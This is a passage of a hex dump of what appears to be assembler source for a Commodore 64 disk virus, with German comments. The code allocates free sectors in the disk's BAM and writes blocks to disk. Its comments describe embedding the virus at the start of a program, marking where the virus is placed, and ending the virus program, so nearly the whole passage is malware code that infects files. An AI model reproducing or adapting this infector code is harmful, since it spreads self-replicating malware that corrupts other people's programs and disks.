000020C0: 20 20 20 20 20 20 3B 53  55 43 48 45 20 BF 4E 56  |      ;SUCHE .NV|
000020D0: 4F 4C 4C 00 EB 28 A2 1C  42 4E 45 20 4A 55 4D 50  |OLL..(..BNE JUMP|
000020E0: 33 20 20 20 20 3B AB AB  B1 4A 41 00 0E 29 AC 1C  |3    ;...JA..)..|
000020F0: 4A 4D 50 20 80 20 20 20  20 20 20 3B 4E 45 49 4E  |JMP .      ;NEIN|
00002100: 2C 44 41 4E 4E 20 56 49  52 55 53 20 80 45 00 24  |,DANN VIRUS .E.$|
00002110: 29 B6 1C 4A 55 4D 50 34  20 53 42 43 20 23 42 4C  |)..JUMP4 SBC #BL|
00002120: 4F 43 4B 53 00 42 29 C0  1C 53 54 41 20 B8 45 20  |OCKS.B)..STA .E |
00002130: 20 20 20 20 3B 50 4C 41  54 5A 20 42 45 4C 45 47  |    ;PLATZ BELEG|
00002140: 45 4E 00 63 29 CA 1C 4A  53 52 20 42 48 50 20 20  |EN.c)..JSR BHP  |
00002150: 20 20 20 20 3B 4C 45 53  45 20 42 41 4D AB 54 52  |    ;LESE BAM.TR|
00002160: 41 43 4B 00 6F 29 D4 1C  53 54 41 20 42 41 4D 00  |ACK.o)..STA BAM.|
00002170: 7B 29 DE 1C 4A 53 52 20  42 48 50 00 89 29 E8 1C  |{)..JSR BHP..)..|
00002180: 53 54 41 20 42 41 4D AA  31 00 95 29 F2 1C 4A 53  |STA BAM.1..)..JS|
00002190: 52 20 42 48 50 00 A3 29  FC 1C 53 54 41 20 42 41  |R BHP..)..STA BA|
000021A0: 4D AA 32 00 B4 29 06 1D  4A 53 52 20 47 41 52 46  |M.2..)..JSR GARF|
000021B0: 49 45 4C 44 00 D8 29 10  1D 4C 44 59 20 23 42 4C  |IELD..)..LDY #BL|
000021C0: 4F 43 4B 53 20 20 3B 53  55 43 48 45 20 B8 49 45  |OCKS  ;SUCHE .IE|
000021D0: 20 53 45 43 A4 52 45 4E  00 E5 29 1A 1D 4C 44 58  | SEC.REN..)..LDX|
000021E0: 20 23 24 46 46 00 F3 29  24 1D 4A 55 4D 50 35 20  | #$FF..)$.JUMP5 |
000021F0: 50 48 50 00 FB 29 2E 1D  49 4E 58 00 07 2A 38 1D  |PHP..)..INX..*8.|
00002200: 43 50 58 20 23 32 35 00  15 2A 42 1D 42 45 51 20  |CPX #25..*B.BEQ |
00002210: 4A 55 4D 50 36 00 1D 2A  4C 1D 50 4C 50 00 2A 2A  |JUMP6..*L.PLP.**|
00002220: 56 1D 52 B0 20 42 41 4D  AA 32 00 37 2A 60 1D 52  |V.R. BAM.2.7*`.R|
00002230: B0 20 42 41 4D AA 31 00  42 2A 6A 1D 52 B0 20 42  |. BAM.1.B*j.R. B|
00002240: 41 4D 00 61 2A 74 1D 42  43 43 20 4A 55 4D 50 35  |AM.a*t.BCC JUMP5|
00002250: 20 20 20 20 3B 53 45 43  A4 52 20 42 45 4C 45 47  |    ;SEC.R BELEG|
00002260: 54 00 6C 2A 7E 1D 43 50  59 20 23 30 00 7A 2A 88  |T.l*~.CPY #0.z*.|
00002270: 1D 42 45 51 20 4A 55 4D  50 35 00 9B 2A 92 1D 54  |.BEQ JUMP5..*..T|
00002280: 58 41 20 20 20 20 20 20  20 20 20 20 3B 53 45 43  |XA          ;SEC|
00002290: A4 52 20 47 45 46 55 4E  44 45 4E 00 AC 2A 9C 1D  |.R GEFUNDEN..*..|
000022A0: 53 54 41 20 56 53 45 43  AB 31 2C 59 00 B4 2A A6  |STA VSEC.1,Y..*.|
000022B0: 1D 44 45 59 00 BC 2A B0  1D 43 4C 43 00 DC 2A BA  |.DEY..*..CLC..*.|
000022C0: 1D 42 43 43 20 4A 55 4D  50 35 20 20 20 20 3B 57  |.BCC JUMP5    ;W|
000022D0: 45 49 54 45 52 20 53 55  43 48 45 4E 00 EA 2A C4  |EITER SUCHEN..*.|
000022E0: 1D 4A 55 4D 50 36 20 50  4C 50 00 08 2B CE 1D 4C  |.JUMP6 PLP..+..L|
000022F0: 44 41 20 23 22 57 22 20  20 20 20 20 3B 53 43 48  |DA #"W"     ;SCH|
00002300: 41 4C 54 45 20 41 55 46  00 27 2B D8 1D 53 54 41  |ALTE AUF.'+..STA|
00002310: 20 44 4F 20 20 20 20 20  20 20 3B 53 43 48 52 45  | DO       ;SCHRE|
00002320: 49 42 4D 4F 44 55 53 00  36 2B E2 1D 4C 44 41 20  |IBMODUS.6+..LDA |
00002330: 56 54 52 41 43 4B 00 53  2B EC 1D 4A 53 52 20 42  |VTRACK.S+..JSR B|
00002340: 53 45 4C 45 43 54 20 20  3B 42 41 4D 20 55 50 44  |SELECT  ;BAM UPD|
00002350: 41 54 45 00 5E 2B F6 1D  4C 44 41 20 B8 45 00 6B  |ATE.^+..LDA .E.k|
00002360: 2B 00 1E 4A 53 52 20 50  41 50 41 00 77 2B 0A 1E  |+..JSR PAPA.w+..|
00002370: 4C 44 41 20 42 41 4D 00  84 2B 14 1E 4A 53 52 20  |LDA BAM..+..JSR |
00002380: 50 41 50 41 00 92 2B 1E  1E 4C 44 41 20 42 41 4D  |PAPA..+..LDA BAM|
00002390: AA 31 00 9F 2B 28 1E 4A  53 52 20 50 41 50 41 00  |.1..+(.JSR PAPA.|
000023A0: AD 2B 32 1E 4C 44 41 20  42 41 4D AA 32 00 BC 2B  |.+2.LDA BAM.2..+|
000023B0: 3C 1E 4A 53 52 20 4F 55  54 55 4E 4C 00 DF 2B 46  |<.JSR OUTUNL..+F|
000023C0: 1E 4C 44 58 20 23 34 20  20 20 20 20 20 20 3B 53  |.LDX #4       ;S|
000023D0: 43 48 52 45 49 42 45 20  42 41 4D 20 41 55 46 00  |CHREIBE BAM AUF.|
000023E0: F6 2B 50 1E 4C 44 59 20  23 30 20 20 20 20 20 20  |.+P.LDY #0      |
000023F0: 20 3B 44 49 53 4B 00 01  2C 5A 1E 4C 44 41 20 23  | ;DISK..,Z.LDA #|
00002400: 31 00 0F 2C 64 1E 4A 53  52 20 4D 45 4D B0 59 00  |1..,d.JSR MEM.Y.|
00002410: 34 2C 6E 1E 4C 44 41 20  23 24 39 30 20 20 20 20  |4,n.LDA #$90    |
00002420: 20 3B 5F 5F 5F 5F 5F 5F  5F 42 4C 4F 43 4B AB 57  | ;_______BLOCK.W|
00002430: 52 49 54 45 00 55 2C 78  1E 4A 53 52 20 4F 55 54  |RITE.U,x.JSR OUT|
00002440: 55 4E 4C 20 20 20 3B 4B  4F 50 49 45 52 45 20 53  |UNL   ;KOPIERE S|
00002450: 54 41 52 54 AB 00 78 2C  82 1E 4A 53 52 20 41 53  |TART..x,..JSR AS|
00002460: 4B 20 20 20 20 20 20 3B  42 4C 4F 43 4B 20 4E 41  |K      ;BLOCK NA|
00002470: 43 48 20 88 5A 54 45 4E  00 98 2C 8C 1E 4C 44 58  |CH .ZTEN..,..LDX|
00002480: 20 50 55 46 46 45 52 20  20 20 3B 47 45 46 55 4E  | PUFFER   ;GEFUN|
00002490: 44 45 4E 20 B8 49 45 4E  00 B0 2C 96 1E 4C 44 59  |DEN .IEN..,..LDY|
000024A0: 20 23 30 20 20 20 20 20  20 20 3B 42 4C 4F 43 4B  | #0       ;BLOCK|
000024B0: 00 BB 2C A0 1E 4C 44 41  20 23 32 00 C9 2C AA 1E  |..,..LDA #2..,..|
000024C0: 4A 53 52 20 4D 45 4D B0  59 00 EA 2C B4 1E 4C 44  |JSR MEM.Y..,..LD|
000024D0: 41 20 54 52 41 43 4B 20  20 20 20 3B 4C 45 53 45  |A TRACK    ;LESE|
000024E0: 20 42 4C 4F 43 4B 20 45  49 4E 00 F7 2C BE 1E 4A  | BLOCK EIN..,..J|
000024F0: 53 52 20 50 41 50 41 00  05 2D C8 1E 4C 44 41 20  |SR PAPA..-..LDA |
00002500: 53 45 43 A4 52 00 14 2D  D2 1E 4A 53 52 20 4F 55  |SEC.R..-..JSR OU|
00002510: 54 55 4E 4C 00 20 2D DC  1E 4C 44 58 20 4A 4F 42  |TUNL. -..LDX JOB|
00002520: 00 2B 2D E6 1E 4C 44 59  20 23 30 00 36 2D F0 1E  |.+-..LDY #0.6-..|
00002530: 4C 44 41 20 23 31 00 44  2D FA 1E 4A 53 52 20 4D  |LDA #1.D-..JSR M|
00002540: 45 4D B0 59 00 65 2D 04  1F 4C 44 41 20 23 24 38  |EM.Y.e-..LDA #$8|
00002550: 30 20 20 20 20 20 3B 5F  5F 5F 5F 5F 5F 5F 42 4C  |0     ;_______BL|
00002560: 4F 43 4B AB 87 00 74 2D  0E 1F 4A 53 52 20 4F 55  |OCK...t-..JSR OU|
00002570: 54 55 4E 4C 00 80 2D 18  1F 4A 53 52 20 41 53 4B  |TUNL..-..JSR ASK|
00002580: 00 8F 2D 22 1F 4C 44 58  20 50 55 46 46 45 52 00  |..-".LDX PUFFER.|
00002590: 9A 2D 2C 1F 4C 44 59 20  23 30 00 A5 2D 36 1F 4C  |.-,.LDY #0..-6.L|
000025A0: 44 41 20 23 32 00 C8 2D  40 1F 4A 53 52 20 4D 45  |DA #2..-@.JSR ME|
000025B0: 4D B0 59 20 20 20 3B 53  43 48 52 45 49 42 45 20  |M.Y   ;SCHREIBE |
000025C0: 42 4C 4F 43 4B 20 41 4E  00 E6 2D 4A 1F 4C 44 41  |BLOCK AN..-J.LDA|
000025D0: 20 56 54 52 41 43 4B 20  20 20 3B 4E 45 55 45 20  | VTRACK   ;NEUE |
000025E0: 53 54 45 4C 4C 45 00 F3  2D 54 1F 4A 53 52 20 50  |STELLE..-T.JSR P|
000025F0: 41 50 41 00 09 2E 5E 1F  4C 44 41 20 56 53 45 43  |APA...^.LDA VSEC|
00002600: AA 42 4C 4F 43 4B 53 AB  31 00 18 2E 68 1F 4A 53  |.BLOCKS.1...h.JS|
00002610: 52 20 4F 55 54 55 4E 4C  00 24 2E 72 1F 4C 44 58  |R OUTUNL.$.r.LDX|
00002620: 20 4A 4F 42 00 2F 2E 7C  1F 4C 44 59 20 23 30 00  | JOB./.|.LDY #0.|
00002630: 3A 2E 86 1F 4C 44 41 20  23 31 00 48 2E 90 1F 4A  |:...LDA #1.H...J|
00002640: 53 52 20 4D 45 4D B0 59  00 6D 2E 9A 1F 4C 44 41  |SR MEM.Y.m...LDA|
00002650: 20 23 24 39 30 20 20 20  20 20 3B 5F 5F 5F 5F 5F  | #$90     ;_____|
00002660: 5F 5F 42 4C 4F 43 4B AB  57 52 49 54 45 00 7C 2E  |__BLOCK.WRITE.|.|
00002670: A4 1F 4A 53 52 20 4F 55  54 55 4E 4C 00 88 2E AE  |..JSR OUTUNL....|
00002680: 1F 4A 53 52 20 41 53 4B  00 AE 2E B8 1F 4C 44 58  |.JSR ASK.....LDX|
00002690: 20 23 30 20 20 20 20 20  20 20 3B 56 49 52 55 53  | #0       ;VIRUS|
000026A0: 20 41 4D 20 41 4E 46 41  4E 47 20 44 45 53 00 D3  | AM ANFANG DES..|
000026B0: 2E C2 1F 53 54 58 20 43  4F 55 4E 54 20 20 20 20  |...STX COUNT    |
000026C0: 3B 50 52 4F 47 52 41 4D  4D 53 20 45 49 4E 42 41  |;PROGRAMMS EINBA|
000026D0: 55 45 4E 00 E5 2E CC 1F  4C 44 41 20 23 B3 53 54  |UEN.....LDA #.ST|
000026E0: 41 52 54 AB 34 00 EF 2E  D6 1F 53 54 41 20 58 00  |ART.4.....STA X.|
000026F0: 01 2F E0 1F 4C 44 41 20  23 B1 53 54 41 52 54 AB  |./..LDA #.START.|
00002700: 34 00 0B 2F EA 1F 53 54  41 20 59 00 16 2F F4 1F  |4../..STA Y../..|
00002710: 4C 44 41 20 23 30 00 20  2F FE 1F 53 54 41 20 5A  |LDA #0. /..STA Z|
00002720: 00 30 2F 08 20 4A 55 4D  50 38 20 4C 44 58 20 5A  |.0/. JUMP8 LDX Z|
00002730: 00 3C 2F 12 20 4C 44 59  20 41 44 52 00 61 2F 1C  |.</. LDY ADR.a/.|
00002740: 20 4C 44 41 20 23 33 32  20 20 20 20 20 20 3B 33  | LDA #32      ;3|
00002750: 32 20 42 59 54 45 53 20  49 4E 20 50 55 46 46 45  |2 BYTES IN PUFFE|
00002760: 52 00 7C 2F 26 20 4A 53  52 20 4D 45 4D B0 59 20  |R.|/& JSR MEM.Y |
00002770: 20 20 3B 53 43 48 52 45  49 42 45 4E 00 8C 2F 30  |  ;SCHREIBEN../0|
00002780: 20 4A 55 4D 50 37 20 4C  44 59 20 5A 00 9A 2F 3A  | JUMP7 LDY Z../:|
00002790: 20 4C 44 41 20 28 58 29  2C 59 00 A7 2F 44 20 4A  | LDA (X),Y../D J|
000027A0: 53 52 20 50 41 50 41 00  B1 2F 4E 20 49 4E 43 20  |SR PAPA../N INC |
000027B0: 5A 00 BB 2F 58 20 4C 44  41 20 5A 00 C9 2F 62 20  |Z../X LDA Z../b |
000027C0: AF 20 23 25 31 31 31 31  31 00 D7 2F 6C 20 42 4E  |. #%11111../l BN|
000027D0: 45 20 4A 55 4D 50 37 00  E8 2F 76 20 4A 53 52 20  |E JUMP7../v JSR |
000027E0: 47 41 52 46 49 45 4C 44  00 0C 30 80 20 4C 44 41  |GARFIELD..0. LDA|
000027F0: 20 5A 20 20 20 20 20 20  20 20 3B 4B 4F 4D 50 88  | Z        ;KOMP.|
00002800: 54 45 52 20 42 4C 4F 43  4B 20 49 4E 00 33 30 8A  |TER BLOCK IN.30.|
00002810: 20 42 4E 45 20 4A 55 4D  50 38 20 20 20 20 3B 50  | BNE JUMP8    ;P|
00002820: 55 46 46 45 52 20 47 45  53 43 48 52 49 45 42 45  |UFFER GESCHRIEBE|
00002830: 4E 2E 2E 00 41 30 94 20  4C 44 59 20 43 4F 55 4E  |N...A0. LDY COUN|
00002840: 54 00 50 30 9E 20 42 4E  45 20 4A 55 4D 50 31 37  |T.P0. BNE JUMP17|
00002850: 00 76 30 A8 20 4C 44 58  20 23 32 20 20 20 20 20  |.v0. LDX #2     |
00002860: 20 20 3B 4B B0 52 49 47  49 45 52 45 20 53 54 41  |  ;K.RIGIERE STA|
00002870: 52 54 41 44 52 2E 00 98  30 B2 20 4C 44 59 20 41  |RTADR...0. LDY A|
00002880: 44 52 20 20 20 20 20 20  3B 49 4D 20 45 52 53 54  |DR      ;IM ERST|
00002890: 45 4E 20 42 4C 4F 43 4B  00 A3 30 BC 20 4C 44 41  |EN BLOCK..0. LDA|
000028A0: 20 23 32 00 B1 30 C6 20  4A 53 52 20 4D 45 4D B0  | #2..0. JSR MEM.|
000028B0: 59 00 C0 30 D0 20 4C 44  41 20 42 41 53 49 43 53  |Y..0. LDA BASICS|
000028C0: 00 CD 30 DA 20 4A 53 52  20 50 41 50 41 00 DE 30  |..0. JSR PAPA..0|
000028D0: E4 20 4C 44 41 20 42 41  53 49 43 53 AA 31 00 ED  |. LDA BASICS.1..|
000028E0: 30 EE 20 4A 53 52 20 4F  55 54 55 4E 4C 00 FF 30  |0. JSR OUTUNL..0|
000028F0: F8 20 4A 55 4D 50 31 37  20 4C 44 58 20 23 30 00  |. JUMP17 LDX #0.|
00002900: 0B 31 02 21 4C 44 59 20  41 44 52 00 27 31 0C 21  |.1.!LDY ADR.'1.!|
00002910: 4C 44 41 20 23 32 20 20  20 20 20 20 20 3B 4C 49  |LDA #2       ;LI|
00002920: 4E 4B 42 59 54 45 53 00  43 31 16 21 4A 53 52 20  |NKBYTES.C1.!JSR |
00002930: 4D 45 4D B0 59 20 20 20  3B 4B B0 52 49 47 49 45  |MEM.Y   ;K.RIGIE|
00002940: 52 45 4E 00 52 31 20 21  4C 44 41 20 56 54 52 41  |REN.R1 !LDA VTRA|
00002950: 43 4B 00 5F 31 2A 21 4A  53 52 20 50 41 50 41 00  |CK._1*!JSR PAPA.|
00002960: 6D 31 34 21 4C 44 59 20  43 4F 55 4E 54 00 7C 31  |m14!LDY COUNT.|1|
00002970: 3E 21 4C 44 41 20 56 53  45 43 2C 59 00 8B 31 48  |>!LDA VSEC,Y..1H|
00002980: 21 4A 53 52 20 4F 55 54  55 4E 4C 00 AC 31 52 21  |!JSR OUTUNL..1R!|
00002990: 4C 44 58 20 50 55 46 46  45 52 20 20 20 3B 42 4C  |LDX PUFFER   ;BL|
000029A0: 4F 43 4B 20 41 55 46 20  44 49 53 4B 00 C8 31 5C  |OCK AUF DISK..1\|
000029B0: 21 4C 44 59 20 23 30 20  20 20 20 20 20 20 3B 53  |!LDY #0       ;S|
000029C0: 43 48 52 45 49 42 45 4E  00 D3 31 66 21 4C 44 41  |CHREIBEN..1f!LDA|
000029D0: 20 23 32 00 E1 31 70 21  4A 53 52 20 4D 45 4D B0  | #2..1p!JSR MEM.|
000029E0: 59 00 EF 31 7A 21 4C 44  59 20 43 4F 55 4E 54 00  |Y..1z!LDY COUNT.|
000029F0: FE 31 84 21 42 4E 45 20  4A 55 4D 50 31 31 00 0C  |.1.!BNE JUMP11..|
00002A00: 32 8E 21 4C 44 41 20 54  52 41 43 4B 00 1A 32 98  |2.!LDA TRACK..2.|
00002A10: 21 2E 42 59 54 45 20 24  32 43 00 30 32 A2 21 4A  |!.BYTE $2C.02.!J|
00002A20: 55 4D 50 31 31 20 4C 44  41 20 56 54 52 41 43 4B  |UMP11 LDA VTRACK|
00002A30: 00 3D 32 AC 21 4A 53 52  20 50 41 50 41 00 4B 32  |.=2.!JSR PAPA.K2|
00002A40: B6 21 4C 44 59 20 43 4F  55 4E 54 00 5B 32 C0 21  |.!LDY COUNT.[2.!|
00002A50: 4C 44 41 20 53 45 43 A4  52 2C 59 00 6A 32 CA 21  |LDA SEC.R,Y.j2.!|
00002A60: 4A 53 52 20 4F 55 54 55  4E 4C 00 76 32 D4 21 4C  |JSR OUTUNL.v2.!L|
00002A70: 44 58 20 4A 4F 42 00 81  32 DE 21 4C 44 59 20 23  |DX JOB..2.!LDY #|
00002A80: 30 00 8C 32 E8 21 4C 44  41 20 23 31 00 9A 32 F2  |0..2.!LDA #1..2.|
00002A90: 21 4A 53 52 20 4D 45 4D  B0 59 00 BF 32 FC 21 4C  |!JSR MEM.Y..2.!L|
00002AA0: 44 41 20 23 24 39 30 20  20 20 20 20 3B 5F 5F 5F  |DA #$90     ;___|
00002AB0: 5F 5F 5F 5F 42 4C 4F 43  4B AB 57 52 49 54 45 00  |____BLOCK.WRITE.|
00002AC0: CE 32 06 22 4A 53 52 20  4F 55 54 55 4E 4C 00 DA  |.2."JSR OUTUNL..|
00002AD0: 32 10 22 4A 53 52 20 41  53 4B 00 E2 32 1A 22 43  |2."JSR ASK..2."C|
00002AE0: 4C 43 00 EC 32 24 22 4C  44 41 20 58 00 F9 32 2E  |LC..2$"LDA X..2.|
00002AF0: 22 41 44 43 20 23 32 35  34 00 03 33 38 22 53 54  |"ADC #254..38"ST|
00002B00: 41 20 58 00 0D 33 42 22  4C 44 41 20 59 00 18 33  |A X..3B"LDA Y..3|
00002B10: 4C 22 41 44 43 20 23 30  00 22 33 56 22 53 54 41  |L"ADC #0."3V"STA|
00002B20: 20 59 00 47 33 60 22 49  4E 43 20 43 4F 55 4E 54  | Y.G3`"INC COUNT|
00002B30: 20 20 20 20 3B 46 41 4C  4C 53 20 4E 4F 43 48 20  |    ;FALLS NOCH |
00002B40: 42 4C 4F 45 43 4B 45 00  6E 33 6A 22 4C 44 58 20  |BLOECKE.n3j"LDX |
00002B50: 43 4F 55 4E 54 20 20 20  20 3B 5A 55 20 53 43 48  |COUNT    ;ZU SCH|
00002B60: 52 45 49 42 45 4E 2C 20  57 45 49 54 45 52 00 7E  |REIBEN, WEITER.~|
00002B70: 33 74 22 43 50 58 20 23  42 4C 4F 43 4B 53 00 A5  |3t"CPX #BLOCKS..|
00002B80: 33 7E 22 42 45 51 20 42  59 45 20 20 20 20 20 20  |3~"BEQ BYE      |
00002B90: 3B 48 49 50 50 49 45 21  46 45 52 54 49 47 20 53  |;HIPPIE!FERTIG S|
00002BA0: 41 4E 20 4D 41 00 B3 33  88 22 4A 4D 50 20 4A 55  |AN MA..3."JMP JU|
00002BB0: 4D 50 38 00 D5 33 28 23  3B 57 49 52 44 20 45 49  |MP8..3(#;WIRD EI|
00002BC0: 4E 20 56 49 52 55 53 20  B8 49 47 45 4C 41 53 53  |N VIRUS .IGELASS|
00002BD0: 45 4E 2E 2E 2E 00 E6 33  2A 26 42 59 45 20 4C 44  |EN.....3*&BYE LD|
00002BE0: 41 20 23 24 36 30 00 F2  33 34 26 53 54 41 20 53  |A #$60..34&STA S|
00002BF0: 45 4B 00 FE 33 3E 26 4A  53 52 20 46 4A 53 00 0B  |EK..3>&JSR FJS..|
00002C00: 34 48 26 4C 44 41 20 23  24 36 46 00 17 34 52 26  |4H&LDA #$6F..4R&|
00002C10: 53 54 41 20 53 45 4B 00  22 34 5C 26 4A 53 52 20  |STA SEK."4\&JSR |
00002C20: 53 9B 00 2F 34 66 26 4C  44 41 20 23 22 49 22 00  |S../4f&LDA #"I".|
00002C30: 3E 34 70 26 4A 53 52 20  4F 55 54 55 4E 4C 00 4B  |>4p&JSR OUTUNL.K|
00002C40: 34 7A 26 4C 44 58 20 23  24 30 30 00 6B 34 84 26  |4z&LDX #$00.k4.&|
00002C50: 4A 55 4D 50 31 34 20 50  4C 41 20 20 20 3B 53 50  |JUMP14 PLA   ;SP|
00002C60: 45 49 43 48 45 52 53 54  45 4C C3 00 8A 34 8E 26  |EICHERSTEL...4.&|
00002C70: 53 54 41 20 4D 45 4D 2C  58 20 20 20 20 3B 52 45  |STA MEM,X    ;RE|
00002C80: 53 54 41 55 52 49 45 52  45 4E 00 92 34 98 26 49  |STAURIEREN..4.&I|
00002C90: 4E 58 00 A5 34 A2 26 43  50 58 20 23 31 34 AA 42  |NX..4.&CPX #14.B|
00002CA0: 4C 4F 43 4B 53 00 B4 34  AC 26 42 4E 45 20 4A 55  |LOCKS..4.&BNE JU|
00002CB0: 4D 50 31 34 00 C1 34 B6  26 4C 44 58 20 23 24 30  |MP14..4.&LDX #$0|
00002CC0: 30 00 D0 34 C0 26 4A 55  4D 50 31 35 20 50 4C 41  |0..4.&JUMP15 PLA|
00002CD0: 00 DE 34 CA 26 53 54 41  20 50 41 52 2C 58 00 E6  |..4.&STA PAR,X..|
00002CE0: 34 D4 26 49 4E 58 00 F3  34 DE 26 43 50 58 20 23  |4.&INX..4.&CPX #|
00002CF0: 24 30 36 00 02 35 E8 26  42 4E 45 20 4A 55 4D 50  |$06..5.&BNE JUMP|
00002D00: 31 35 00 0F 35 ED 26 4A  53 52 20 43 41 4C 4C 00  |15..5.&JSR CALL.|
00002D10: 17 35 F2 26 50 4C 41 00  26 35 FC 26 53 54 41 20  |.5.&PLA.&5.&STA |
00002D20: 53 54 41 54 55 53 00 49  35 06 27 52 54 53 20 20  |STATUS.I5.'RTS  |
00002D30: 20 20 20 20 20 20 20 20  3B 56 49 52 55 53 50 52  |        ;VIRUSPR|
00002D40: 4F 47 52 41 4D 4D 20 80  45 00 65 35 10 27 3B AB  |OGRAMM .E.e5.';.|
00002D50: AB AB AB AB 49 45 43 4F  55 54 AA 55 4E 9B AB AB  |....IECOUT.UN...|
00002D60: AB AB AB AB B1 00 79 35  1A 27 4F 55 54 55 4E 4C  |......y5.'OUTUNL|
00002D70: 20 4A 53 52 20 50 41 50  41 00 8A 35 24 27 4A 4D  | JSR PAPA..5$'JM|
00002D80: 50 20 47 41 52 46 49 45  4C 44 00 A9 35 F8 2A 3B  |P GARFIELD..5.*;|
00002D90: AB AB AB AB AB AB 42 53  45 4C 45 43 54 AB AB AB  |......BSELECT...|
00002DA0: AB AB AB AB AB AB AB AB  B1 00 CB 35 02 2B 42 53  |...........5.+BS|
00002DB0: 45 4C 45 43 54 20 41 53  4C 20 3B 53 45 4C 45 4B  |ELECT ASL ;SELEK|
00002DC0: 54 49 45 52 54 20 45 49  4E 45 4E 00 EA 35 0C 2B  |TIERT EINEN..5.+|
00002DD0: 41 53 4C 20 20 20 20 20  20 20 20 20 3B 54 52 41  |ASL         ;TRA|
00002DE0: 43 4B 20 44 45 52 20 42  41 4D 00 F2 35 16 2B 54  |CK DER BAM..5.+T|
00002DF0: 41 58 00 FD 35 20 2B 4C  44 59 20 23 37 00 08 36  |AX..5 +LDY #7..6|
00002E00: 2A 2B 4C 44 41 20 23 34  00 16 36 34 2B 4A 4D 50  |*+LDA #4..64+JMP|
00002E10: 20 4D 45 4D B0 59 00 35  36 E0 2E 3B AB AB AB AB  | MEM.Y.56..;....|
00002E20: AB AB 53 54 41 4C 4B AB  AB AB AB AB AB AB AB AB  |..STALK.........|
00002E30: AB AB AB AB B1 00 47 36  EA 2E 53 54 41 4C 4B 20  |......G6..STALK |
00002E40: 4C 44 41 20 44 45 56 00  56 36 F4 2E 4A 53 52 20  |LDA DEV.V6..JSR |
00002E50: 53 41 53 4B 49 41 00 7B  36 FE 2E 4C 44 41 20 53  |SASKIA.{6..LDA S|
00002E60: 45 4B 20 20 20 20 20 3B  50 52 49 4D 41 45 52 AB  |EK     ;PRIMAER.|
00002E70: 26 53 45 4B 55 4E 44 41  45 52 AB 00 9A 36 08 2F  |&SEKUNDAER...6./|
00002E80: 4A 4D 50 20 43 48 52 49  53 54 49 4E 45 3B 41 44  |JMP CHRISTINE;AD|
00002E90: 52 45 53 53 45 20 54 41  4C 4B 00 B6 36 C8 32 3B  |RESSE TALK..6.2;|
00002EA0: AB AB AB AB AB AB 53 9B  AB AB AB AB AB AB AB AB  |......S.........|
00002EB0: AB AB AB AB AB B1 00 C5  36 D2 32 53 9B 20 4C 44  |........6.2S. LD|
00002EC0: 41 20 44 45 56 00 D2 36  DC 32 4A 53 52 20 4E 45  |A DEV..6.2JSR NE|
00002ED0: 4D 4F 00 F7 36 E6 32 4C  44 41 20 53 45 4B 20 20  |MO..6.2LDA SEK  |
00002EE0: 20 20 20 3B 50 52 49 4D  41 45 52 AB 26 53 45 4B  |   ;PRIMAER.&SEK|
00002EF0: 55 4E 44 41 45 52 AB 00  14 37 F0 32 4A 4D 50 20  |UNDAER...7.2JMP |
00002F00: 54 48 4F 4D 41 53 20 20  3B 41 44 52 45 53 53 45  |THOMAS  ;ADRESSE|
00002F10: 20 9B 45 4E 00 33 37 B0  36 3B AB AB AB AB AB AB  | .EN.37.6;......|
00002F20: 41 53 4B AB AB AB AB AB  AB AB AB AB AB AB AB AB  |ASK.............|
00002F30: AB AB B1 00 53 37 BA 36  41 53 4B 20 4C 44 41 20  |....S7.6ASK LDA |
00002F40: 23 22 52 22 3B 55 45 42  45 52 50 52 55 45 46 45  |#"R";UEBERPRUEFE|
00002F50: 20 4F 42 00 70 37 C4 36  53 54 41 20 44 4F 20 20  | OB.p7.6STA DO  |
00002F60: 20 20 20 20 3B 4A 4F 42  20 41 4E 20 44 49 53 4B  |    ;JOB AN DISK|
00002F70: 00 92 37 CE 36 41 31 20  4C 44 58 20 23 30 20 20  |..7.6A1 LDX #0  |
00002F80: 20 3B 53 43 48 91 20 41  55 53 47 45 46 55 45 48  | ;SCH. AUSGEFUEH|
00002F90: 52 54 00 A7 37 D8 36 41  32 20 4E 4F 50 20 20 20  |RT..7.6A2 NOP   |
00002FA0: 20 20 20 3B 49 53 54 00  AF 37 E2 36 4E 4F 50 00  |   ;IST..7.6NOP.|
00002FB0: B7 37 EC 36 4E 4F 50 00  BF 37 F6 36 4E 4F 50 00  |.7.6NOP..7.6NOP.|
00002FC0: C7 37 00 37 49 4E 58 00  D2 37 0A 37 42 4E 45 20  |.7.7INX..7.7BNE |
00002FD0: 41 32 00 DE 37 14 37 4C  44 58 20 4A 4F 42 00 E9  |A2..7.7LDX JOB..|
00002FE0: 37 1E 37 4C 44 59 20 23  30 00 F4 37 28 37 4C 44  |7.7LDY #0..7(7LD|
00002FF0: 41 20 23 31 00 02 38 32  37 4A 53 52 20 4D 45 4D  |A #1..827JSR MEM|
00003000: B0 59 00 13 38 3C 37 4A  53 52 20 47 41 52 46 49  |.Y..8<7JSR GARFI|
00003010: 45 4C 44 00 21 38 46 37  4A 53 52 20 53 54 41 4C  |ELD.!8F7JSR STAL|
00003020: 4B 00 2D 38 50 37 4A 53  52 20 42 48 50 00 35 38  |K.-8P7JSR BHP.58|
00003030: 5A 37 50 48 41 00 43 38  64 37 4A 53 52 20 53 55  |Z7PHA.C8d7JSR SU|
00003040: 48 41 4C 00 4B 38 6E 37  50 4C 41 00 56 38 78 37  |HAL.K8n7PLA.V8x7|
00003050: AF 20 23 24 38 30 00 7A  38 82 37 42 4E 45 20 41  |. #$80.z8.7BNE A|
00003060: 31 20 20 20 20 20 20 3B  4E 45 49 4E 2C 20 44 41  |1      ;NEIN, DA|
00003070: 4E 4E 20 4E 4F 43 48 4D  41 4C 00 87 38 8C 37 4C  |NN NOCHMAL..8.7L|
00003080: 44 41 20 23 22 57 22 00  92 38 96 37 53 54 41 20  |DA #"W"..8.7STA |
00003090: 44 4F 00 9A 38 A0 37 52  54 53 00 B8 38 98 3A 3B  |DO..8.7RTS..8.:;|
000030A0: AB AB AB AB AB AB 4D 45  4D B0 59 AB 41 4B 4B 55  |......MEM.Y.AKKU|
000030B0: AB AB AB AB AB AB AB B1  00 CE 38 A2 3A 4D 45 4D  |..........8.:MEM|
000030C0: B0 59 20 50 48 41 20 20  3B 22 4D 2D 22 AA 00 F2  |.Y PHA  ;"M-"...|
000030D0: 38 AC 3A 54 59 41 20 20  20 20 20 20 20 20 20 3B  |8.:TYA         ;|
000030E0: 53 50 45 49 43 48 45 52  53 54 45 4C 4C 45 20 44  |SPEICHERSTELLE D|
000030F0: 4F AA 00 06 39 B6 3A 50  48 41 20 20 20 20 20 20  |O...9.:PHA      |
00003100: 20 20 20 3B 58 AA 00 1A  39 C0 3A 54 58 41 20 20  |   ;X...9.:TXA  |
